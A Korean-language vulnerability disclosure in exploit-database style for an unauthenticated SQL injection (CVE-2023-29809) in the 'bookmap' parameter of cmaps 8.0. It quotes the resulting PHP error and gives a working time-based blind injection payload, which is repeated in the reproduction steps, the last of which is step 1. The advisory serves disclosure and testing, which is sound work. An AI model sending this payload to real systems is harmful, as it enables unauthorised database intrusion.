익스플로잇 제목: 인증되지 않은 SQL 인젝션

• Google Dork:
• 날짜: 27.04.2023
• 익스플로잇 작성자: Lucas Noki (0xPrototype)
• 공급업체 홈페이지: https://github.com/vogtmh
• 소프트웨어 링크: https://github.com/vogtmh/cmaps
• 버전: 8.0
• 테스트 환경: Mac, Windows, Linux
• CVE : CVE-2023-29809

설명:

발견된 취약점은 SQL 인젝션입니다. bookmap 매개변수가 취약합니다. 페이지를 방문할 때: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test 정상적인 JSON 응답을 받습니다. 그러나 bookmap 매개변수의 값에 작은따옴표 하나를 추가하면 오류 메시지가 나타납니다:

<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />

이제 작은따옴표 두 개를 추가하면 오류 없이 정상 응답을 받습니다. 이는 SQL 인젝션 가능성을 확인합니다. SQL 인젝션을 실제로 증명하기 위해 다음 페이로드를 추가합니다:

'-(select*from(select+sleep(2)+from+dual)a)--+

페이지가 2초 동안 지연됩니다. 이는 SQL 인젝션을 확인합니다.

재현 단계:

1. 취약점을 테스트하기 위해 다음 페이로드를 전송합니다: '-(select*from(select+sleep(2)+from+dual)a)--+